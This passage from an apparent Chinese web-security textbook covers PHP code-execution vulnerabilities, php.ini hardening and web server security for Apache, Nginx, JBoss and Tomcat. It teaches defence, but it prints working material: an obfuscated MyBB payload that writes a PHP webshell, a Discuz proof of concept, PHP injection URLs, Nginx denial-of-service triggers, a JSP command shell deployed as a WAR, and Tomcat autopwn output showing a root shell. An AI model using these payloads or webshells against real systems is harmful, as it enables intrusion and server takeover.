('-2','-1','\".$theme['templateset'].\"')\", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1)); //从数据库里面取出模板的代码 $gettemplate = $db->fetch_array($query); if($mybb->debug_mode) { $this->uncached_templates[$title] = $title; } if(!$gettemplate) { $gettemplate['template'] = \"\"; } $this->cache[$title] = $gettemplate['template']; } $template = $this->cache[$title]; if($htmlcomments) { if($mybb->settings['tplhtmlcomments'] == 1) { $template = \"<!-- start: \".htmlspecialchars_uni($title).\" --> \\n{$template}\\n <!-- end: \".htmlspecialchars_uni($title).\" -->\"; } else { $template = \"\\n{$template}\\n\"; } } if($eslashes) { $template = str_replace(\"\\\\'\", \"'\", addslashes($template)); } return $template; }原来get()函数获得的内容是从数据库中取出的。取出时经过了一些安全处理，比如addslashes()，那么数据库中的内容用户是否能控制呢？根据该应用的功能，不难看出这完全是用户提交的数据。//admin/modules/style/templates.php，372行开始if($mybb->input['action'] == \"edit_template\"){ $plugins->run_hooks(\"admin_style_templates_edit_template\"); if(!$mybb->input['title'] || !$sid) { flash_message($lang->error_missing_input, 'error'); admin_redirect(\"index.php?module=style/templates\"); } if($mybb->request_method == \"post\") { if(empty($mybb->input['title'])) { $errors[] = $lang->error_missing_title; } if(!$errors) { $query = $db->simple_select(\"templates\", \"*\", \"tid='{$mybb->input['tid']}'\"); $template = $db->fetch_array($query); //获取到我们输入的内容，包括模板的标题和内容 $template_array = array( 'title' => $db->escape_string($mybb->input['title']), 'sid' => $sid, 'template' => $db->escape_string(trim($mybb->input['template'])), 'version' => $mybb->version_code, 'status' => '', 'dateline' => TIME_NOW ); // Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten $query = $db->simple_select(\"templates\", \"tid\", \"title='\".$db->escape_string($template['title']).\"' AND (sid = '-2' OR sid = '{$template['sid']}')\", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1)); $template['tid'] = $db->fetch_field($query, \"tid\"); if($sid > 0) { // Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it) or if it's a custom template $query = $db->simple_select(\"templates\", \"sid\", \"title='\".$db->escape_string($mybb->input['title']).\"' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')\", array('order_by' => 'sid', 'order_dir' => 'desc')); $existing_sid = $db->fetch_field($query, \"sid\"); $existing_rows = $db->num_rows($query); //更新模板数据库 if(($existing_sid == -2 && $existing_rows == 1) || $existing_rows == 0) { $tid = $db->insert_query(\"templates\", $template_array); } else { $db->update_query(\"templates\", $template_array,\"tid='{$template['tid']}' AND sid != '-2'\"); } }通过编辑模板功能可以将数据写入数据库，然后通过调用前台文件使得eval()得以执行，唯一需要处理的是一些敏感字符。flyh4t给出了如下POC：在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index在{$headerinclude}下写入如下一段代码后保存:{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(119).chr(93).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(102).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}访问首页后将在cache目录下生成flyh4t.php，内容为<?php @$_POST[w]($_POST[f])?>这个案例清晰地展示了如何从“找到敏感函数eval()”到“成为一个代码执行漏洞”的过程。虽然这个漏洞要求具备应用管理员的身份才能编辑模板，但是攻击者可能会通过XSS或其他手段来完成这一点。14.3.2 “文件写入”执行代码在PHP中对文件的操作一定要谨慎，如果文件操作的内容用户可以控制，则也极容易成为漏洞。下面这个Discuz! admin\\database.inc.phpget-webshell bug由ring04h发现。在database.inc.php导入zip文件时，存在写文件操作，但其对安全的判断过于简单，导致用户可以将此文件内容修改为PHP代码：.....elseif($operation == 'importzip') { require_once DISCUZ_ROOT.'admin/zip.func.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datafile_server); if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(\"/\\.sql$/i\",$importfile = $unzip->GetName(0))) { cpmsg('database_import_file_illegal', '', 'error'); } $identify = explode(',', base64_decode(preg_replace(\"/^# Identify:\\s*(\\w+).*/s\",\"\\\\1\", substr($unzip->GetData(0), 0, 256)))); $confirm = !empty($confirm) ? 1 : 0; if(!$confirm && $identify[1] != $version) { cpmsg('database_import_confirm', 'admincp.php?action=database&operation= importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes','form'); } $sqlfilecount = 0; foreach($unzip->Entries as $entry) { if(preg_match(\"/\\.sql$/i\", $entry->Name)) { $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w'); fwrite($fp, $entry->Data); fclose($fp); $sqlfilecount++; } }......最后有fwrite()写文件操作。同时注意：preg_match(\"/\\.sql$/i\", $importfile = $unzip->GetName(0))将控制文件后缀为 .sql，但是其检查并不充分，攻击者可以利用Apache的文件名解析特性（参考“文件上传漏洞”一章），构造文件名为：081127_k4pFUs3C-1.php.sql。此文件名在Apache下默认会作为PHP文件解析，从而获得代码执行。漏洞POC：<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit =yes=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes14.3.3 其他执行代码方式通过上面的几个真实案例，让我们对PHP中代码执行漏洞的复杂性有了初步的了解。如果对常见的代码执行漏洞进行分类，则可以总结出一些规律。熟悉并理解这些可能导致代码执行的情况，对于代码审核及安全方案的设计有着积极意义。直接执行代码的函数PHP中有不少可以直接执行代码的函数，比如：eval()、assert()、system()、exec()、shell_exec()、passthru()escapeshellcmd()、pcntl_exec()等。<?phpeval('echo $foobar;');?>一般来说，最好在PHP中禁用这些函数。在审计代码时则可以检查代码中是否存在这些函数，然后回溯危险函数的调用过程，看用户是否可以控制输入。文件包含文件包含漏洞也是代码注入的一种，需要高度关注能够包含文件的函数：include()、in-clude_once()、require()、require_once()。<?php$to_include = $_GET['file'];require_once($to_include . '.html');?>本地文件写入能够往本地文件里写入内容的函数都需要重点关注。这样的函数较多，常见的有file_put_con-tents()、fwrite()、fputs()等。在上节中就举了一个写入本地文件导致代码执行的案例。需要注意的是，写入文件的功能可以和文件包含、危险函数执行等漏洞结合，最终使得原本用户无法控制的输入变成可控。在代码审计时要注意这种“组合类”漏洞。preg_replace()代码执行preg_replace()的第一个参数如果存在/e模式修饰符，则允许代码执行。<?php$var = '<tag>phpinfo()</tag>';preg_replace(\"/<tag>(.*?)<\\/tag>/e\", 'addslashes(\\\\1)', $var);?>需要注意的是，即便第一个参数中并没有/e模式修饰符，也是有可能执行代码的。这要求第一个参数中包含变量，并且用户可控，有可能通过注入/e%00的方式截断文本，注入一个“/e”。<?php$regexp = $_GET['re'];$var = '<tag>phpinfo()</tag>';preg_replace(\"/<tag>(.*?)$regexp<\\/tag>/\", '\\\\1', $var);?>针对这段代码，可以通过如下方式注入：http://www.example.com/index.php?re=<\\/tag>/e%00当preg_replace()的第一个参数中包含了/e时，用户无论是控制了第二个参数还是第三个参数，都可以导致代码执行。动态函数执行用户自定义的动态函数可以导致代码执行，需要注意这种情况。<?php$dyn_func = $_GET['dyn_func'];$argument = $_GET['argument'];$dyn_func($argument);?>这种写法近似于后门，将直接导致代码执行，比如：http://www.example.com/index.php?dyn_func=system&argument=uname与此类似，create_function()函数也具备此能力。<?php$foobar = $_GET['foobar'];$dyn_func = create_function('$foobar', \"echo $foobar;\");$dyn_func('');?>攻击payload如下：http://www.example.com/index.php?foobar=system('ls')Curly SyntaxPHP的Curly Syntax也能导致代码执行，它将执行花括号间的代码，并将结果替换回去，如下例：<?php$var = \"I was innocent until ${`ls`} appeared here\";?>ls命令将列出本地目录的文件，并将结果返回。如下例，phpinfo()函数将执行：<?php$foobar = 'phpinfo';${'foobar'}();?>回调函数执行代码很多函数都可以执行回调函数，当回调函数用户可控时，将导致代码执行。<?php$evil_callback = $_GET['callback'];$some_array = array(0, 1, 2, 3);$new_array = array_map($evil_callback, $some_array);?>攻击payload如下：http://www.example.com/index.php?callback=phpinfo此类函数很多，下面列出一些可以执行call-back参数的函数。array_map()usort(), uasort(), uksort()array_filter()array_reduce()array_diff_uassoc(), array_diff_ukey()array_udiff(), array_udiff_assoc(), array_udiff_uassoc()array_intersect_assoc(), array_intersect_uassoc()array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()array_walk(), array_walk_recursive()xml_set_character_data_handler()xml_set_default_handler()xml_set_element_handler()xml_set_end_namespace_decl_handler()xml_set_external_entity_ref_handler()xml_set_notation_decl_handler()xml_set_processing_instruction_handler()xml_set_start_namespace_decl_handler()xml_set_unparsed_entity_decl_handler()stream_filter_register()set_error_handler()register_shutdown_function()register_tick_function()ob_start()实际上也可以执行回调函数，需要特别注意。<?php$foobar = 'system';ob_start($foobar);echo 'uname';ob_end_flush();?>unserialize()导致代码执行unserialize()这个函数也很常见，它能将序列化的数据重新映射为PHP变量。但是unserialize()在执行时如果定义了destruct()函数，或者是wakeup()函数，则这两个函数将执行。unserialize()代码执行有两个条件，一是unse-rialize()的参数用户可以控制，这样可以构造出需要反序列化的数据结构；二是存在 destruct()函数或者wakeup()函数，这两个函数实现的逻辑决定了能执行什么样的代码。攻击者可以通过unserialize()控制destruct()或wakeup()中函数的输入。参考下面的例子：class Example { var $var = ''; function __destruct() { eval($this->var); }}unserialize($_GET['saved_code']);?>攻击payload如下：http://www.example.com/index.php?saved_code=O:7:\"Example\":1:{s:3:\"var\";s:10:\"phpinfo();\";}攻击payload可以先模仿目标代码的实现过程，然后再通过调用serialize()获得。以上为一些主要的导致PHP代码执行的方法，在代码审计时需要重点关注这些地方。\n14.4 定制安全的PHP环境在本章中，我们已经深入了解了PHP语言的灵活性，以及PHP安全问题的隐蔽性，那么要如何做好PHP的安全呢？除了熟悉各种PHP漏洞外，还可以通过配置php.ini来加固PHP的运行环境。PHP官方也曾经多次修改php.ini的默认设置。在本书中，推荐php.ini中一些安全相关参数的配置。register_globals当register_globals = ON时，PHP不知道变量从何而来，也容易出现一些变量覆盖的问题。因此从最佳实践的角度，强烈建议设置 register_globals= OFF，这也是PHP新版本中的默认设置。open_basediropen_basedir可以限制PHP只能操作指定目录下的文件。这在对抗文件包含、目录遍历等攻击时非常有用。我们应该为此选项设置一个值。需要注意的是，如果设置的值是一个指定的目录，则需要在目录最后加上一个“/”，否则会被认为是目录的前缀。open_basedir = /home/web/html/allow_url_include为了对抗远程文件包含，请关闭此选项，一般应用也用不到此选项。同时推荐关闭的还有al-low_url_fopen。allow_url_fopen = Offallow_url_include = Offdisplay_errors错误回显，一般常用于开发模式，但是很多应用在正式环境中也忘记了关闭此选项。错误回显可以暴露出非常多的敏感信息，为攻击者下一步攻击提供便利。推荐关闭此选项。display_errors = Offlog_errors在正式环境下用这个就行了，把错误信息记录在日志里。正好可以关闭错误回显。log_errors = Onmagic_quotes_gpc推荐关闭，它并不值得依赖（请参考“注入攻击”一章），已知已经有若干种方法可以绕过它，甚至由于它的存在反而衍生出一些新的安全问题。XSS、SQL注入等漏洞，都应该由应用在正确的地方解决。同时关闭它还能提高性能。magic_quotes_gpc = OFFcgi.fix_pathinfo若PHP以CGI的方式安装，则需要关闭此项，以避免出现文件解析问题（请参考“文件上传漏洞”一章）。cgi.fix_pathinfo = 0session.cookie_httponly开启HttpOnly（HttpOnly的作用请参考“跨站脚本攻击”一章）。session.cookie_httponly = 1session.cookie_secure若是全站HTTPS则请开启此项。session.cookie_secure =1safe_modePHP的安全模式是否应该开启的争议一直比较大。一方面，它会影响很多函数；另一方面，它又不停地被黑客们绕过，因此很难取舍。如果是共享环境（比如App Engine），则建议开启safe_mode，可以和disable_functions配合使用；如果是单独的应用环境，则可以考虑关闭它，更多地依赖于disable_functions控制运行环境安全。safe_mode在当前的PHP版本中会影响以下函数。需要特别注意的是，如果开启了safe_mode，则exec()、system()、passthru()、popen()等函数并非被禁用，而是只能执行在“safe_mode_exec_dir”所指定目录下存在的可执行文件。如果要允许这些函数，则请设置好safe_mode_exec_dir的值并将此目录设置为不可写。safe_mode被绕过的情况，往往是因为加载了一些非官方的PHP扩展。扩展自带的函数可以绕过safe_mode，因此请谨慎加载非默认开启的PHP扩展，除非能确认它们是安全的。disable_functionsdisable_functions能够在PHP中禁用函数。这是把双刃剑，禁用函数可能会为开发带来不便，但禁用的函数太少又可能增加开发写出不安全代码的几率，同时为黑客获取webshell提供便利。一般来说，如果是独立的应用环境，则推荐禁用以下函数：disable_functions = escapeshellarg, es-capeshellcmd, exec, passthru, proc_close,proc_get_status, proc_open, proc_nice, proc_ter-minate, shell_exec, system, ini_restore, popen, dl,disk_free_space, diskfreespace, set_time_limit,tmpfile, fopen, readfile, fpassthru, fsockopen,mail, ini_alter, highlight_file, openlog,show_source, symlink, apache_child_terminate,apache_get_modules, apache_get_version,apache_getenv, apache_note, apache_setenv,parse_ini_file如果是共享环境（比如App Engine），则需要禁用更多的函数。这方面可以参考新浪推出的SAE平台，在共享的PHP环境下，禁用的函数列表如下：禁用的函数：php_real_logo_guid,php_egg_logo_guid,php_ini_scanned_files,php_ini_loaded_file,read-link,linkinfo,symlink,link,exec,system,es-capeshellcmd,escapeshellarg,passthru,shell_exec,proc_open,proc_close,proc_terminate,proc_get_status,proc_nice,getmyuid,getmygid,getmyin-ode,putenv,getopt,sys_getloadavg,getrusage,get_current_user,magic_quotes_runtime,set_magic_quotes_runtime,import_request_variables,de-bug_zval_dump,ini_alter,dl,pclose,popen,stream_select,stream_filter_prepend,stream_filter_ap-pend,stream_filter_remove,stream_socket_client,stream_socket_server,stream_socket_ac-cept,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_en-able_crypto,stream_socket_shutdown,stream_socket_pair,stream_copy_to_stream,stream_get_con-tents,stream_set_write_buffer,set_file_buffer,set_socket_blocking,stream_set_blocking,socket_set_blocking,stream_get_meta_data,stream_get_line,stream_register_wrapper,stream_wrapper_re-store,stream_get_transports,stream_is_lo-cal,get_headers,stream_set_timeout,socket_get_status,mail,openlog,syslog,closelog,apc_add,apc_cache_info,apc_clear_cache,apc_compile_file,apc_define_constants,apc_delete,apc_load_con-stants,apc_sma_info,apc_store,flock,pfsock-open,posix_kill,apache_child_termi-nate,apache_get_modules,apache_get_ver-sion,apache_getenv,apache_lookup_uri,apache_reset_timeout,apache_response_head-ers,apache_setenv,virtual,mysql_pconnect,mem-cache_add_server,memcache_connect,mem-cache_pconnect禁用的类：XMLWriter,DOMDocument,DOMNota-tion,DOMXPath,SQLiteDatabase,SQLiteRe-sult,SQLiteUnbuffered,SQLiteException对于PHP 6来说，安全架构发生了极大的变化，magic_quotes_gpc、safe_mode等都已经取消，同时提供了一些新的安全功能。由于PHP 6离普及尚有很长一段时间，很多功能尚未稳定，在此暂不讨论。\n14.5 小结在本章中介绍了PHP安全相关的很多问题。PHP是一门被广泛使用的Web开发语言，它的语法和使用方式非常灵活，这也导致了PHP代码安全评估的难度相对较高。本章先后介绍了PHP中一些特别的安全问题，比如文件包含漏洞、代码执行漏洞，最终对如何定制一个安全的PHP环境给出了建议。根据本章的一些最佳实践，可以为PHP安全评估提供参考和指导思想。\n第15章 Web Server配置安全Web服务器是Web应用的载体，如果这个载体出现安全问题，那么运行在其中的Web应用程序的安全也无法得到保障。因此Web服务器的安全不容忽视。Web服务器安全，考虑的是应用布署时的运行环境安全。这个运行环境包括Web Server、脚本语言解释器、中间件等软件，这些软件所提供的一些配置参数，也可以起到安全保护的作用。本章将抛砖引玉，讲讲Web服务器有哪些常见的运行时安全问题，虽然并不能概括所有的问题，但却是历年来导致安全事件最多的一些问题。\n15.1 Apache安全尽管近年来Nginx、LightHttpd等WebServer的市场份额增长得很快，但Apache仍然是这个领域中独一无二的巨头，互联网上大多数的Web应用依然跑在Apache Httpd上。本章就先从Apache讲起，因为Apache最具有代表性，其他的Web Server所面临的安全问题也可依此类推。在本章中，Apache均代指Apache Httpd。Web Server的安全我们关注两点：一是WebServer本身是否安全；二是Web Server是否提供了可使用的安全功能。纵观Apache的漏洞史，它曾经出现过许多次高危漏洞。但这些高危漏洞，大部分是由Apache的Module造成的，Apache核心的高危漏洞几乎没有。Apache有很多官方与非官方的Module，默认启动的Module出现过的高危漏洞非常少，大多数的高危漏洞集中在默认没有安装或enable的Module上。因此，检查Apache安全的第一件事情，就是检查Apache的Module安装情况，根据“最小权限原则”，应该尽可能地减少不必要的Module，对于要使用的Module，则检查其对应版本是否存在已知的安全漏洞。定制好了Apache的安装包后，接下来需要做的，就是指定Apache进程以单独的用户身份运行，这通常需要为Apache单独建立一个user/group。需要注意的是，Apache以root身份或者admin身份运行是一个非常糟糕的决定。这里的admin身份是指服务器管理员在管理机器时使用的身份。这个身份的权限也是比较高的，因为管理员有操作管理脚本、访问配置文件、读/写日志等需求。使用高权限身份运行Apache的结果可能是灾难性的，它会带来两个可怕的后果：（1）当黑客入侵Web成功时，将直接获得一个高权限（比如root或admin）的shell； （2）应用程序本身将具备较高权限，当出现bug时，可能会带来较高风险，比如删除本地重要文件、杀死进程等不可预知的结果。比较好的做法是使用专门的用户身份运行Apache，这个用户身份不应该具备shell，它唯一的作用就是用来运行Web应用。以什么身份启动进程，在使用其他Web容器时也需要注意这个问题。很多JSP网站的管理员喜欢将Tomcat配置为root身份运行，导致的后果就是黑客们通过漏洞得到了webshell后，发现这个webshell已经具备root权限了。Apache还提供了一些配置参数，可以用来优化服务器的性能，提高对抗DDOS攻击的能力。我们曾在“应用层拒绝服务攻击”一章中提到过这些参数： TimeOut KeepAliveLimitRequestBodyLimitRequestFieldsLimitRequestFieldSizeLimitRequestLineLimitXMLRequestBodyAcceptFilterMaxRequestWorkers在Apache的官方文档中，对如何使用这些参数给出了指导。这些参数能够起到一定的作用，但单台机器的性能毕竟有限，所以对抗DDOS不可依赖于这些参数，但聊胜于无。最后，要保护好Apache Log。一般来说，攻击者入侵成功后，要做的第一件事情就是清除入侵痕迹，修改、删除日志文件，因此access log应当妥善保管，比如实时地发送到远程的syslog服务器上。\n15.2 Nginx安全近年来Nginx发展很快，它的高性能和高并发的处理能力使得用户在Web Server的选择上有了更多的空间。但从安全的角度来看，Nginx近年来出现的影响默认安装版本的高危漏洞却比Apache要多。在Nginx的官方网站有这些安全问题的列表。Nginx官方的补丁页面比如CVE-2010-2266是一个Nginx的拒绝服务漏洞，触发条件非常简单：http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20因此多多关注Nginx的漏洞信息，并及时将软件升级到安全的版本，是非常有必要的一件事情。从历史的经验来看，如果一个软件出现的漏洞较多，那么说明代码维护者的安全意识与安全经验有所欠缺，同时由于破窗效应，这个软件未来往往会出现更多的漏洞。就软件安全本身来看，Nginx与Apache最大的区别在于，检查Apache安全时更多的要关注Module的安全，而Nginx则需要注意软件本身的安全，及时升级软件版本。与Apache一样，Nginx也应该以单独的身份运行，这是所有Web Server、容器软件应该共同遵守的原则。首先，Nginx的配置非常灵活，在对抗DDOS和CC攻击方面也能起到一定的缓解作用，比如下面的一些配置参数： worker_processes 1; worker_rlimit_nofile 80000; events { worker_connections 50000; } server_tokens off; log_format IP `$remote_addr'; reset_timedout_connection on; listen xx.xx.xx.xx:80 default rcvbuf=8192 sndbuf=16384 backlog=32000accept_filter=httpready;其次，在Nginx配置中还可以做一些简单的条件判断，比如客户端User-Agent具有什么特征，或者来自某个特定referer、IP等条件，响应动作可以是返回错误号，或进行重定向。set $add 1; location /index.php { limit_except GET POST { deny all; } set $ban \"\"; if ($http_referer = \"\" ) {set $ban $ban$add;} if ($request_method = POST ) {set $ban $ban$add;} if ($query_string = \"action=login\" ){set $ban $ban$add;} if ($ban = 111 ) { access_log /var/log/[133]nginx/ban IP; return 404; } proxy_pass http://127.0.0.1:8000; #here is a patch }在此仍需强调的是，Web Server对于DDOS攻击的防御作用是有限的。对于大规模的拒绝服务攻击，需要使用更加专业的保护方案。\n15.3 jBoss远程命令执行jBoss是J2EE环境中一个流行的Web容器，但是jBoss在默认安装时提供的一些功能却不太安全，如果配置不得当，则可能直接造成远程命令执行。由于jBoss在默认安装时会有一个管理后台，叫做JMX-Console，它提供给管理员一些强大的功能，其中包括配置MBeans，这同样也会为黑客们打开方便之门。通过8080端口（默认安装时会监听8080端口）访问/jmx-console能够进入到这个管理界面。默认安装时访问JMX-Console是没有任何认证的。JMX-Console页面在JMX-Console中，有多种可以远程执行命令的方法。最简单的方式，是通过DeploymentScanner远程加载一个war包。默认的DeploymentScanner将检查URL是否是file:/[JBOSSHOME]/server/default/de-ploy/，但通过addURL()方法却可以添加一个远程的war包。这个过程大致如下：首先创建一个合法的war包，除了可执行的shell外，还需要带上相应的meta data。$ echo 'The JSP to execute the commands'$ cat >cmd.jsp<%@ page import=\"java.util.*,java.io.*\"%><%%><HTML><BODY>Commands with JSP<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><%if (request.getParameter(\"cmd\") != null) { out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\"); Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%></pre></BODY></HTML>$ echo 'The web.xml file in the WEB-INF directory configures the web application'$ mkdir WEB-INF$ cat >WEB-INF/web.xml<?xml version=\"1.0\" ?><web-app xmlns=\"http://java.sun.com/xml/ns/j2ee\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xsi:schemaLocation=\"http://java.sun.com/xml/ns/j2eehttp://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd\" version=\"2.4\"> <servlet> <servlet-name>Command</servlet-name> <jsp-file>/cmd.jsp</jsp-file> </servlet></web-app>$ echo 'Now put it into the WAR file'$ jar cvf cmd.war WEB-INF cmd.jsp$ echo 'Copy it on a web server where the Jboss server can get it'$ cp cmd.war /var/www/localhost/htdocs/然后使用DeploymentScanner，访问http://[host]:8080/jmx-console/HtmlAdaptor?action=inspect MBean&name=jboss.deploy-ment:type=DeploymentScanner,flavor=URL。接下来调用addURL()。如果执行成功，则将返回succsess的信息。当DeploymentScanner下次执行时，应用将布署成功，这个过程一般用一分钟左右。在一分钟后，攻击者的webshell被布署成功。除了使用DelpymentScanner远程布署war包外，德国的Redteam安全小组研究发现，通过JMX-Console提供的BSH（Bean Shell）Deploy-ment方法，同样也能布署war包。BSH能够执行一次性的脚本，或者创建服务，这对于黑客来说很有用。执行命令的思路是，利用createScriptDeploy-ment()执行命令，通常是在/tmp目录下写入一个war包后，再通过JMX-Console的布署功能加载此war包。这个执行过程在此不再赘述。JMX-Console为黑客大开方便之门，通过简单的“Google hacking”，可以在互联网上找到很多开放了JMX-Console的网站，其中大多数是存在漏洞的。通过“Google hacking”搜索存在jBoss管理后台的网站因此出于安全防御的目的，在加固时，需要删除JMX-Console后台，事实上，jBoss的使用完全可以不依赖于它。要移除JMX-Console，只需要删除jmx-console.war和web-console.war即可，它们分别位于$JBOSS_HOME/server/all/deploy和$JBOSS_HOME/server/default/deploy目录下。使用如下命令删除：cd $JBOSS_HOMEbin/shutdown.shmv ./server/all/deploy/jmx-console.war jmx-console-all.bakmv ./server/default/deploy/jmx-console.war jmx-console.war-default-bakmv ./server/all/deploy/management/console-mgr.sar/web-console.warweb-console-all.bakmv ./server/default/deploy/management/console-mgr.sar/web-console.warweb-console-default.bakbin/run.sh如果出于业务需要不得不使用JMX-Console，则应该使用一个强壮的密码，并且运行JMX-Con-sole的端口不应该面向整个Internet开放。\n15.4 Tomcat远程命令执行Apache Tomcat与jBoss一样，默认也会运行在8080端口。它提供的Tomcat Manager的作用与JMX-Console类似，管理员也可以在Tomcat Man-ager中部署war包。Tomcat Manager界面但值得庆幸的是，Tomcat Manager布署war包需要有manager权限，而这一权限是在配置文件中定义的。一个典型的配置文件如下：[root@nitrogen conf]# cat tomcat-users.xml<?xml version='1.0' encoding='utf-8'?><tomcat-users><role rolename=\"tomcat\"/><role rolename=\"role1\"/><user username=\"tomcat\" password=\"tomcat\"roles=\"tomcat\"/><user username=\"both\" password=\"tomcat\"roles=\"tomcat,role1\"/><user username=\"role1\" password=\"tomcat\"roles=\"role1\"/></tomcat-users>[root@nitrogen conf]#需要由管理员修改此文件，定义出manager角色：<user username=\"manager\" password=\"!@m4n4g3r!@#! \" roles=\"manager\"/>但是，像下面这种配置，就存在安全隐患了。[root@nitrogen conf]# cat tomcat-users.xml<?xml version='1.0' encoding='utf-8'?><tomcat-users><role rolename=\"tomcat\"/><role rolename=\"role1\"/><role rolename=\"manager\"/><user username=\"tomcat\" password=\"tomcat\" roles=\"tomcat,manager\"/> <user username=\"both\" password=\"tomcat\" roles=\"tomcat,role1\"/><user username=\"role1\" password=\"tomcat\" roles=\"role1\"/></tomcat-users>[root@nitrogen conf]#它直接将tomcat用户添加为manager角色，而tomcat用户的密码很可能是一个默认密码，这种配置违背了“最小权限原则”。在Tomcat后台可以直接上传war包：Tomcat管理后台上传war包处当然也可以通过脚本自动化实现这一切。[root@attacker jboss-autopwn-new]# ./tomcat-autopwn-nix 192.168.1.2 80802>/dev/null[x] Web shell enabled!!: http://192.168.1.2:8080/browser/browser.jsp[x] Running as user...:uid=0(root) gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),6(disk),10(wheel)^C[root@attacker jboss-autopwn-new]#虽然Tomcat后台有密码认证，但笔者仍然强烈建议删除这一后台，因为攻击者可以通过暴力破解等方式获取后台的访问权限，从安全的角度看，这增加了系统的攻击面，得不偿失。\n15.5 HTTP Parameter Pollution在2009年的OWASP大会上，Luca、Caret-toni等人演示了这种被称为HPP的攻击。简单来说，就是通过GET或POST向服务器发起请求时，提交两个相同的参数，那么服务器会如何选择呢？比如提交：/?a=test&a=test1在某些服务端环境中，会只取第一个参数；而在另外一些环境中，比如.net环境中，则会变成：a=test,test1这种特性在绕过一些服务器端的逻辑判断时，会非常有用。这种HPP攻击，与Web服务器环境、服务器端使用的脚本语言有关。HPP本身可以看做服务器端软件的一种功能，参数选择的顺序是由服务器端软件所决定的。但是正如我们在本书中所举的很多例子一样，当程序员不熟悉软件的这种功能时，就有可能造成误用，或者程序逻辑涵盖范围不够全面，从而形成漏洞。比如可以通过HPP混淆参数，从而绕过Mod-Security对于SQL注入的检测。HPP的发现者，在测试了大量服务器软件版本的组合后，整理出下表，作为参考。HPP这一问题再次提醒我们，设计安全方案必须要熟悉Web技术方方面面的细节，才不至于有所疏漏。从防范上来看，由于HPP是服务器软件的一种功能，所以只需在具体的环境中注意服务器环境的参数取值顺序即可。\n15.6 小结在本章中探讨了Web Server、Web容器相关的安全问题。Web Server、Web容器是Web应用的载体，是基础，它们的安全与否将直接影响到应用的安全性。在搭建服务器端环境时，需要注意最小权限原则，应该以独立的低权限身份运行Web进程。同时Web Server的一些参数能够优化性能，有助于缓解DDOS攻击，在实际运用时可以酌情使用。Web Server本身的漏洞也需要时刻关注， 而有些Web容器的默认配置甚至可能还会成为弱点，一名合格的安全工程师应该熟知这些问题。\n第四篇 互联网公司安全运营第16章 互联网业务安全本书中的很多章节都是在探讨Web攻击技术的原理和解决方案。但对于互联网公司来说，个别漏洞的影响也许是可以接受的，真正难以接受的是那些影响到公司发展的安全问题。而业务安全问题，受害者往往是互联网公司的用户，攻击的是互联网公司的业务。业务安全问题往往难以根治，是公司业务发展的阻力，需要引起重视。\n16.1 产品需要什么样的安全一个好产品应该具备什么样的特性？很多人都有自己的答案。比如去商场选购一台电视机，一般会比较电视机的方方面面：功能是否先进、硬件配置如何、外表美观程度、厂商的口碑、售后服务的质量，以及价格。专业的买家，还会详细比较参数规格上的细微差别，面板接缝的做工细节，以及噪音和环保等问题。一个完整的产品有许多特性，互联网产品亦如此。互联网产品其实是网站提供的在线服务，产品特性包括性能、美观、方便性等方面，同时也包括安全。一般来说，安全是产品的一个特性。安全本身可视作产品的一个组成部分。一个好的产品，在设计之初，就应该考虑是否会存在安全隐患，从而提前准备好对策。将安全视为产品特性，往往也就解决了业务与安全之间的矛盾。其实业务与安全之间本来是没有冲突的，出现冲突往往是因为安全方案设计得不够完美。比如安全方案的实现成本相对较高，从而不得不牺牲一些产品功能上的需求，有时候牺牲的可能还有性能。曾经有一位安全专家，对数百位开发者进行了调研，在这些开发者的眼中，对于一个项目，影响因素的优先级排序分别是：（1）功能是否能按原定设计实现； （2）性能； （3）可用性； （4）是否能按原定计划上线； （5）可维护性； （6）安全。可以看到，安全被开发者放在了第6位置上，从产品的角度来看，这也是可以理解的。16.1.1 